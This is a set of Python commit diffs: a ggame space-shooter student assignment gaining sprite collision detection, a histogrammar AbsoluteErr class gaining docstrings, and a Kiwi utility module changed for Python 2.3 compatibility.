        if 0 <= self.x <= SCREEN_WIDTH and 0 <= self.y <= SCREEN_HEIGHT:
            self.x += self.velx
            self.y += self.vely
        else:
            self.destroy()

class SpaceGame(App):

    def __init__(self):
        super().__init__()
        StarBack((0,0))
        SpaceShip((100,100))

    def step(self):
        for x in self.getSpritesbyClass(SpaceShip):
            x.step()
        for x in self.getSpritesbyClass(Bullet):
            x.step()

myapp = SpaceGame()
myapp.run()
<|endoftext|>


<commit_before>#!/usr/bin/env python

# Copyright 2016 Jim Pivarski
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from histogrammar.defs import *
from histogrammar.util import *

class AbsoluteErr(Factory, Container):
    @staticmethod
    def ed(entries, mae):
        if not isinstance(entries, (int, long, float)):
            raise TypeError("entries ({}) must be a number".format(entries))
        if not isinstance(mae, (int, long, float)):
            raise TypeError("mae ({}) must be a number".format(mae))
        if entries < 0.0:
            raise ValueError("entries ({}) cannot be negative".format(entries))
        out = AbsoluteErr(None)
        out.entries = float(entries)
        out.absoluteSum = float(mae)*float(entries)
        return out.specialize()

    @staticmethod
    def ing(quantity):
        return AbsoluteErr(quantity)

    def __init__(self, quantity):
        self.quantity = serializable(quantity)
        self.entries = 0.0
        self.absoluteSum = 0.0
        super(AbsoluteErr, self).__init__()
        self.specialize()

    @property
    def mae(self):
        if self.entries == 0.0:
            return self.absoluteSum
        else:
            return self.absoluteSum/self.entries

    def zero(self): return AbsoluteErr(self.quantity)

    def __add__(self, other):
        if isinstance(other, AbsoluteErr):
            out = AbsoluteErr(self.quantity)
            out.entries = self.entries + other.entries
            out.absoluteSum = self.entries*self.mae + other.entries*other.mae
            return out.specialize()
        else:
            raise ContainerException("cannot add {} and {}".format(self.name, other.name))

    def fill(self, datum, weight=1.0):
        self._checkForCrossReferences()
        if weight > 0.0:
            q = self.quantity(datum)
            if not isinstance(q, (bool, int, long, float)):
                raise TypeError("function return value ({}) must be boolean or number".format(q))

            # no possibility of exception from here on out (for rollback)
            self.entries += weight
            self.absoluteSum += abs(q) * weight

    @property
    def children(self):
        return []

    def toJsonFragment(self, suppressName): return maybeAdd({
        "entries": floatToJson(self.entries),
        "mae": floatToJson(self.mae),
        }, name=(None if suppressName else self.quantity.name))

    @staticmethod
    def fromJsonFragment(json, nameFromParent):
        if isinstance(json, dict) and hasKeys(json.keys(), ["entries", "mae"], ["name"]):
            if isinstance(json["entries"], (int, long, float)):
                entries = float(json["entries"])
            else:
                raise JsonFormatException(json["entries"], "AbsoluteErr.entries")

            if isinstance(json.get("name", None), basestring):
                name = json["name"]
            elif json.get("name", None) is None:
                name = None
            else:
                raise JsonFormatException(json["name"], "AbsoluteErr.name")

            if isinstance(json["mae"], (int, long, float)):
                mae = float(json["mae"])
            else:
                raise JsonFormatException(json["mae"], "AbsoluteErr.mae")

            out = AbsoluteErr.ed(entries, mae)
            out.quantity.name = nameFromParent if name is None else name
            return out.specialize()

        else:
            raise JsonFormatException(json, "AbsoluteErr")

    def __repr__(self):
        return "<AbsoluteErr mae={}>".format(self.mae)

    def __eq__(self, other):
        return isinstance(other, AbsoluteErr) and self.quantity == other.quantity and numeq(self.entries, other.entries) and numeq(self.mae, other.mae)

    def __hash__(self):
        return hash((self.quantity, self.entries, self.mae))

Factory.register(AbsoluteErr)
<commit_msg>Bring Scaladocs up to date with online specification.<commit_after>#!/usr/bin/env python

# Copyright 2016 Jim Pivarski
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from histogrammar.defs import *
from histogrammar.util import *

class AbsoluteErr(Factory, Container):
    """Accumulate the weighted Mean Absolute Error (MAE) of a quantity whose nominal value is zero."""

    @staticmethod
    def ed(entries, mae):
        """Create an immutable [[org.dianahep.histogrammar.AbsoluteErred]] from arguments (instead of JSON).

        @param entries Weighted number of entries (sum of all observed weights).
        @param mae Sum of absolute differences of the quantity from zero (Mean Absolute Error).
        """

        if not isinstance(entries, (int, long, float)):
            raise TypeError("entries ({}) must be a number".format(entries))
        if not isinstance(mae, (int, long, float)):
            raise TypeError("mae ({}) must be a number".format(mae))
        if entries < 0.0:
            raise ValueError("entries ({}) cannot be negative".format(entries))
        out = AbsoluteErr(None)
        out.entries = float(entries)
        out.absoluteSum = float(mae)*float(entries)
        return out.specialize()

    @staticmethod
    def ing(quantity):
        """Synonym for `__init__`."""
        return AbsoluteErr(quantity)

    def __init__(self, quantity):
        """Create an empty, mutable [[org.dianahep.histogrammar.AbsoluteErring]].

        @param quantity Numerical function to track.
        """
        self.quantity = serializable(quantity)
        self.entries = 0.0
        self.absoluteSum = 0.0
        super(AbsoluteErr, self).__init__()
        self.specialize()

    @property
    def mae(self):
        """Sum of absolute differences of the quantity from zero (Mean Absolute Error)."""
        if self.entries == 0.0:
            return self.absoluteSum
        else:
            return self.absoluteSum/self.entries

    def zero(self): return AbsoluteErr(self.quantity)

    def __add__(self, other):
        if isinstance(other, AbsoluteErr):
            out = AbsoluteErr(self.quantity)
            out.entries = self.entries + other.entries
            out.absoluteSum = self.entries*self.mae + other.entries*other.mae
            return out.specialize()
        else:
            raise ContainerException("cannot add {} and {}".format(self.name, other.name))

    def fill(self, datum, weight=1.0):
        self._checkForCrossReferences()
        if weight > 0.0:
            q = self.quantity(datum)
            if not isinstance(q, (bool, int, long, float)):
                raise TypeError("function return value ({}) must be boolean or number".format(q))

            # no possibility of exception from here on out (for rollback)
            self.entries += weight
            self.absoluteSum += abs(q) * weight

    @property
    def children(self):
        return []

    def toJsonFragment(self, suppressName): return maybeAdd({
        "entries": floatToJson(self.entries),
        "mae": floatToJson(self.mae),
        }, name=(None if suppressName else self.quantity.name))

    @staticmethod
    def fromJsonFragment(json, nameFromParent):
        if isinstance(json, dict) and hasKeys(json.keys(), ["entries", "mae"], ["name"]):
            if isinstance(json["entries"], (int, long, float)):
                entries = float(json["entries"])
            else:
                raise JsonFormatException(json["entries"], "AbsoluteErr.entries")

            if isinstance(json.get("name", None), basestring):
                name = json["name"]
            elif json.get("name", None) is None:
                name = None
            else:
                raise JsonFormatException(json["name"], "AbsoluteErr.name")

            if isinstance(json["mae"], (int, long, float)):
                mae = float(json["mae"])
            else:
                raise JsonFormatException(json["mae"], "AbsoluteErr.mae")

            out = AbsoluteErr.ed(entries, mae)
            out.quantity.name = nameFromParent if name is None else name
            return out.specialize()

        else:
            raise JsonFormatException(json, "AbsoluteErr")

    def __repr__(self):
        return "<AbsoluteErr mae={}>".format(self.mae)

    def __eq__(self, other):
        return isinstance(other, AbsoluteErr) and self.quantity == other.quantity and numeq(self.entries, other.entries) and numeq(self.mae, other.mae)

    def __hash__(self):
        return hash((self.quantity, self.entries, self.mae))

Factory.register(AbsoluteErr)
<|endoftext|>


<commit_before>"""
spaceshooter.py
Author: Bauti Gallino
Credit: Liam S.

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 512
SCREEN_HEIGHT = 512

class Background(Sprite):
    asset = ImageAsset("images/starfield.jpg")
    height= 512
    width= 512

    def __init__(self, position):
        super().__init__(Background.asset, position)

class Spaceship(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(Spaceship.asset, position)
        self.Engineframe=1
        self.Thrust=0
        self.Velocityspaceshipright=0
        self.Velocityspaceshipleft=0
        self.Velocityspaceshipdown=0
        self.Velocityspaceshipup=0
        self.Spin=0
        self.Spinning=0
        SpaceGame.listenKeyEvent("keydown", "space", self.Engineon)
        SpaceGame.listenKeyEvent("keyup", "space", self.Engineoff)
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.Velocityright)
        SpaceGame.listenKeyEvent("keyup", "right arrow", self.Velocityrightstop)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.Velocityleft)
        SpaceGame.listenKeyEvent("keyup", "left arrow", self.Velocityleftstop)
        SpaceGame.listenKeyEvent("keydown", "down arrow", self.Velocitydown)
        SpaceGame.listenKeyEvent("keyup", "down arrow", self.Velocitydownstop)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.Velocityup)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.Velocityupstop)
        SpaceGame.listenKeyEvent("keydown", "o", self.Rotateclock)
        SpaceGame.listenKeyEvent("keyup", "o", self.Rotateclockstop)
        SpaceGame.listenKeyEvent("keydown", "p", self.Rotatecounterclock)
        SpaceGame.listenKeyEvent("keyup", "p", self.Rotatecounterclockstop)

        self.fxcenter=self.fycenter=.5
    def step(self):
        if self.Spin==1:
            self.Spinning=.1
        if self.Spin==-1:
            self.Spinning=-.1
        if self.Spin==0:
            self.Spinning=0
        self.rotation+=self.Spinning
        if self.Velocityspaceshipup==1:
            self.y=self.y+2
        else:
            self.y=self.y
        if self.Velocityspaceshipdown==1:
            self.y=self.y-2
        else:
            self.y=self.y
        if self.Velocityspaceshipright==1:
            self.x=self.x+2
        else:
            self.x=self.x
        if self.Velocityspaceshipleft==1:
            self.x=self.x-2
        else:
            self.x=self.x
        if self.Thrust == 1:
            self.setImage(self.Engineframe)
            self.Engineframe = self.Engineframe + 1
            if self.Engineframe == 4:
                self.Engineframe = 1
        else:
            self.setImage(0)
    def Engineon(self, event):
        self.Thrust=1
    def Engineoff(self, event):
        self.Thrust=0
        self.Engineframe=1
    def Velocityright(self, event):
        self.Velocityspaceshipright=1
    def Velocityrightstop(self, event):
        self.Velocityspaceshipright=0
    def Velocityleft(self, event):
        self.Velocityspaceshipleft=1
    def Velocityleftstop(self, event):
        self.Velocityspaceshipleft=0
    def Velocitydown(self, event):
        self.Velocityspaceshipup=1
    def Velocitydownstop(self, event):
        self.Velocityspaceshipup=0
    def Velocityup(self, event):
        self.Velocityspaceshipdown=1
    def Velocityupstop(self, event):
        self.Velocityspaceshipdown=0
    def Rotateclock(self, event):
        self.Spin=1
    def Rotateclockstop(self, event):
        self.Spin=0
    def Rotatecounterclock(self, event):
        self.Spin=-1
    def Rotatecounterclockstop(self, event):
        self.Spin=0
class Star(Sprite):
    asset=ImageAsset("images/sun.png")
    height=300
    width=300
    def __init__(self, position):
        super().__init__(Star.asset, position)
        self.counter=0
        self.Starx=0
        self.Stary=0
        self.scale=2
    def step(self):
        if self.counter>=0 and self.counter<=1200:
            self.Starx=1
            self.Stary=0
        if self.counter>=1200 and self.counter<=2400:
            self.Starx=0
            self.Stary=-1
        if self.counter>=2400 and self.counter<=3600:
            self.Starx=-1
            self.Stary=0
        if self.counter>=3600 and self.counter<=4800:
            self.Starx=0
            self.Stary=1
        if self.counter==4801:
            self.counter=0
        self.counter+=1
        self.x+=self.Starx
        self.y+=self.Stary
class SpaceGame(App):
    def __init__(self, width, height):
        super().__init__(width, height)
        for x in range(self.width//Background.width + 1):
            for y in range(self.height//Background.height + 1):
                Background((x*Background.width, y*Background.height))
        Background((0, 0))
        Spaceship((100, 100))
        Star((800, 450))
    def step(self):
        for ship in self.getSpritesbyClass(Spaceship):
            ship.step()

app = SpaceGame(1897, 935)
app.run()<commit_msg>Updated from Brython Server: 11/28/2016 1:38:12 PM<commit_after>"""
spaceshooter.py
Author: Bauti Gallino
Credit: Liam S.

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""
from ggame import App, Sprite, ImageAsset, Frame
from ggame import SoundAsset, Sound, TextAsset, Color
import math
from time import time

SCREEN_WIDTH = 512
SCREEN_HEIGHT = 512

class Background(Sprite):
    asset = ImageAsset("images/starfield.jpg")
    height= 512
    width= 512

    def __init__(self, position):
        super().__init__(Background.asset, position)

class Spaceship(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(Spaceship.asset, position)
        self.Engineframe=1
        self.Thrust=0
        self.Velocityspaceshipright=0
        self.Velocityspaceshipleft=0
        self.Velocityspaceshipdown=0
        self.Velocityspaceshipup=0
        self.Spin=0
        self.Spinning=0
        SpaceGame.listenKeyEvent("keydown", "space", self.Engineon)
        SpaceGame.listenKeyEvent("keyup", "space", self.Engineoff)
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.Velocityright)
        SpaceGame.listenKeyEvent("keyup", "right arrow", self.Velocityrightstop)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.Velocityleft)
        SpaceGame.listenKeyEvent("keyup", "left arrow", self.Velocityleftstop)
        SpaceGame.listenKeyEvent("keydown", "down arrow", self.Velocitydown)
        SpaceGame.listenKeyEvent("keyup", "down arrow", self.Velocitydownstop)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.Velocityup)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.Velocityupstop)
        SpaceGame.listenKeyEvent("keydown", "o", self.Rotateclock)
        SpaceGame.listenKeyEvent("keyup", "o", self.Rotateclockstop)
        SpaceGame.listenKeyEvent("keydown", "p", self.Rotatecounterclock)
        SpaceGame.listenKeyEvent("keyup", "p", self.Rotatecounterclockstop)

        self.fxcenter=self.fycenter=.5
    def step(self):
        crash=self.collidingWithSprites(Star)
        if len(crash)>0:
            self.visible= False

        if self.Spin==1:
            self.Spinning=.1
        if self.Spin==-1:
            self.Spinning=-.1
        if self.Spin==0:
            self.Spinning=0
        self.rotation+=self.Spinning
        if self.Velocityspaceshipup==1:
            self.y=self.y+2
        else:
            self.y=self.y
        if self.Velocityspaceshipdown==1:
            self.y=self.y-2
        else:
            self.y=self.y
        if self.Velocityspaceshipright==1:
            self.x=self.x+2
        else:
            self.x=self.x
        if self.Velocityspaceshipleft==1:
            self.x=self.x-2
        else:
            self.x=self.x
        if self.Thrust == 1:
            self.setImage(self.Engineframe)
            self.Engineframe = self.Engineframe + 1
            if self.Engineframe == 4:
                self.Engineframe = 1
        else:
            self.setImage(0)
    def Engineon(self, event):
        self.Thrust=1
    def Engineoff(self, event):
        self.Thrust=0
        self.Engineframe=1
    def Velocityright(self, event):
        self.Velocityspaceshipright=1
    def Velocityrightstop(self, event):
        self.Velocityspaceshipright=0
    def Velocityleft(self, event):
        self.Velocityspaceshipleft=1
    def Velocityleftstop(self, event):
        self.Velocityspaceshipleft=0
    def Velocitydown(self, event):
        self.Velocityspaceshipup=1
    def Velocitydownstop(self, event):
        self.Velocityspaceshipup=0
    def Velocityup(self, event):
        self.Velocityspaceshipdown=1
    def Velocityupstop(self, event):
        self.Velocityspaceshipdown=0
    def Rotateclock(self, event):
        self.Spin=1
    def Rotateclockstop(self, event):
        self.Spin=0
    def Rotatecounterclock(self, event):
        self.Spin=-1
    def Rotatecounterclockstop(self, event):
        self.Spin=0
class Star(Sprite):
    asset=ImageAsset("images/sun.png")
    height=300
    width=300
    def __init__(self, position):
        super().__init__(Star.asset, position)
        self.counter=0
        self.Starx=0
        self.Stary=0
        self.scale=2
    def step(self):
        if self.counter>=0 and self.counter<=1200:
            self.Starx=1
            self.Stary=0
        if self.counter>=1200 and self.counter<=2400:
            self.Starx=0
            self.Stary=-1
        if self.counter>=2400 and self.counter<=3600:
            self.Starx=-1
            self.Stary=0
        if self.counter>=3600 and self.counter<=4800:
            self.Starx=0
            self.Stary=1
        if self.counter==4801:
            self.counter=0
        self.counter+=1
        self.x+=self.Starx
        self.y+=self.Stary
class SpaceGame(App):
    def __init__(self, width, height):
        super().__init__(width, height)
        for x in range(self.width//Background.width + 1):
            for y in range(self.height//Background.height + 1):
                Background((x*Background.width, y*Background.height))
        Background((0, 0))
        Spaceship((100, 100))
        Star((800, 450))
    def step(self):
        for ship in self.getSpritesbyClass(Spaceship):
            ship.step()

app = SpaceGame(1897, 935)
app.run()<|endoftext|>


<commit_before>#
# Kiwi: a Framework and Enhanced Widgets for Python
#
# Copyright (C) 2005,2006 Async Open Source
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307
# USA
#
# Author(s): Johan Dahlin <jdahlin@async.com.br>
#

"""Generic python addons"""

import sys
import warnings

__all__ = ['ClassInittableMetaType', 'ClassInittableObject']

class ClassInittableMetaType(type):
    # pylint fails to understand this is a metaclass
    def __init__(self, name, bases, namespace):
        type.__init__(self, name, bases, namespace)
        self.__class_init__(namespace)

class ClassInittableObject(object):
    """
    I am an object which will call a classmethod called
    __class_init__ when I am created.
    Subclasses of me will also have __class_init__ called.

    Note that __class_init__ is called when the class is created,
    eg when the file is imported at the first time.
    It's called after the class is created, but before it is put
    in the namespace of the module where it is defined.
    """
    __metaclass__ = ClassInittableMetaType

    def __class_init__(cls, namespace):
        """
        Called when the class is created

        @param cls:       class
        @param namespace: namespace for newly created
        @type  namespace: dict
        """
    __class_init__ = classmethod(__class_init__)

# copied from twisted/python/reflect.py
def namedAny(name):
    """Get a fully named package, module, module-global object, or attribute.

    @param name:
    @returns: object, module or attribute
    """

    names = name.split('.')
    topLevelPackage = None
    moduleNames = names[:]
    while not topLevelPackage:
        try:
            trialname = '.'.join(moduleNames)
            topLevelPackage = __import__(trialname)
        except ImportError:
            # if the ImportError happened in the module being imported,
            # this is a failure that should be handed to our caller.
            # count stack frames to tell the difference.
            import traceback
            exc_info = sys.exc_info()
            if len(traceback.extract_tb(exc_info[2])) > 1:
                try:
                    # Clean up garbage left in sys.modules.
                    del sys.modules[trialname]
                except KeyError:
                    # Python 2.4 has fixed this.  Yay!
                    pass
                raise exc_info[0], exc_info[1], exc_info[2]
            moduleNames.pop()

    obj = topLevelPackage
    for n in names[1:]:
        obj = getattr(obj, n)

    return obj

class Settable:
    """
    A mixin class for syntactic sugar.  Lets you assign attributes by
    calling with keyword arguments; for example, C{x(a=b,c=d,y=z)} is the
    same as C{x.a=b;x.c=d;x.y=z}.  The most useful place for this is
    where you don't want to name a variable, but you do want to set
    some attributes; for example, C{X()(y=z,a=b)}.
    """
    def __init__(self, **kw):
        self._attrs = kw.keys()
        self._attrs.sort()
        self.__dict__.update(**kw)

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__,
                            ', '.join(
            ['%s=%r' % (attr, getattr(self, attr)) for attr in self._attrs]))

def qual(klass):
    """
    @returns: fully qualified module and class name
    """
    return klass.__module__ + '.' + klass.__name__

def clamp(x, low, high):
    """
    Ensures that x is between the limits set by low and high.
    For example,
    * clamp(5, 10, 15) is 10.
    * clamp(15, 5, 10) is 10.
    * clamp(20, 15, 25) is 20.

    @param    x: the value to clamp.
    @param  low: the minimum value allowed.
    @param high: the maximum value allowed.
    @returns: the clamped value
    """

    return min(max(x, low), high)

def slicerange(slice, limit):
    """Takes a slice object and returns a range iterator

    @param slice: slice object
    @param limit: maximum value allowed
    @returns: iterator
    """

    return xrange(*slice.indices(limit))

_no_deprecation = False

def deprecationwarn(msg, stacklevel=2):
    """
    Prints a deprecation warning
    """
    global _no_deprecation
    if _no_deprecation:
        return

    warnings.warn(msg, DeprecationWarning, stacklevel=stacklevel)

def disabledeprecationcall(func, *args, **kwargs):
    """
    Disables all deprecation warnings during the function call to func
    """
    global _no_deprecation
    old = _no_deprecation
    _no_deprecation = True
    retval = func(*args, **kwargs)
    _no_deprecation = old
    return retval

<commit_msg>Python 2.3 compatibility<commit_after>#
# Kiwi: a Framework and Enhanced Widgets for Python
#
# Copyright (C) 2005,2006 Async Open Source
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307
# USA
#
# Author(s): Johan Dahlin <jdahlin@async.com.br>
#

"""Generic python addons"""

import sys
import warnings

__all__ = ['ClassInittableMetaType', 'ClassInittableObject']

class ClassInittableMetaType(type):
    # pylint fails to understand this is a metaclass
    def __init__(self, name, bases, namespace):
        type.__init__(self, name, bases, namespace)
        self.__class_init__(namespace)

class ClassInittableObject(object):
    """
    I am an object which will call a classmethod called
    __class_init__ when I am created.
    Subclasses of me will also have __class_init__ called.

    Note that __class_init__ is called when the class is created,
    eg when the file is imported at the first time.
    It's called after the class is created, but before it is put
    in the namespace of the module where it is defined.
    """
    __metaclass__ = ClassInittableMetaType

    def __class_init__(cls, namespace):
        """
        Called when the class is created

        @param cls:       class
        @param namespace: namespace for newly created
        @type  namespace: dict
        """
    __class_init__ = classmethod(__class_init__)

# copied from twisted/python/reflect.py
def namedAny(name):
    """Get a fully named package, module, module-global object, or attribute.

    @param name:
    @returns: object, module or attribute
    """

    names = name.split('.')
    topLevelPackage = None
    moduleNames = names[:]
    while not topLevelPackage:
        try:
            trialname = '.'.join(moduleNames)
            topLevelPackage = __import__(trialname)
        except ImportError:
            # if the ImportError happened in the module being imported,
            # this is a failure that should be handed to our caller.
            # count stack frames to tell the difference.
            import traceback
            exc_info = sys.exc_info()
            if len(traceback.extract_tb(exc_info[2])) > 1:
                try:
                    # Clean up garbage left in sys.modules.
                    del sys.modules[trialname]
                except KeyError:
                    # Python 2.4 has fixed this.  Yay!
                    pass
                raise exc_info[0], exc_info[1], exc_info[2]
            moduleNames.pop()

    obj = topLevelPackage
    for n in names[1:]:
        obj = getattr(obj, n)

    return obj

class Settable:
    """
    A mixin class for syntactic sugar.  Lets you assign attributes by
    calling with keyword arguments; for example, C{x(a=b,c=d,y=z)} is the
    same as C{x.a=b;x.c=d;x.y=z}.  The most useful place for this is
    where you don't want to name a variable, but you do want to set
    some attributes; for example, C{X()(y=z,a=b)}.
    """
    def __init__(self, **kw):
        self._attrs = kw.keys()
        self._attrs.sort()
        for k, v in kw.iteritems():
            setattr(self, k, v)

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__,
                            ', '.join(
            ['%s=%r' % (attr, getattr(self, attr)) for attr in self._attrs]))

def qual(klass):
    """
    @returns: fully qualified module and class name
    """
    return klass.__module__ + '.' + klass.__name__

def clamp(x, low, high):
    """
    Ensures that x is between the limits set by low and high.
    For example,
    * clamp(5, 10, 15) is 10.
    * clamp(15, 5, 10) is 10.
    * clamp(20, 15, 25) is 20.

    @param    x: the value to clamp.
    @param  low: the minimum value allowed.
    @param high: the maximum value allowed.
    @returns: the clamped value
    """

    return min(max(x, low), high)

def slicerange(slice, limit):
    """Takes a slice object and returns a range iterator

    @param slice: slice object
    @param limit: maximum value allowed
    @returns: iterator
    """

    return xrange(*slice.indices(limit))

_no_deprecation = False

def deprecationwarn(msg, stacklevel=2):
    """
    Prints a deprecation warning
    """
    global _no_deprecation
    if _no_deprecation:
        return

    warnings.warn(msg, DeprecationWarning, stacklevel=stacklevel)

def disabledeprecationcall(func, *args, **kwargs):
    """
    Disables all deprecation warnings during the function call to func
    """
    global _no_deprecation
    old = _no_deprecation
    _no_deprecation = True
    retval = func(*args, **kwargs)
    _no_deprecation = old
    return retval

<|endoftext|>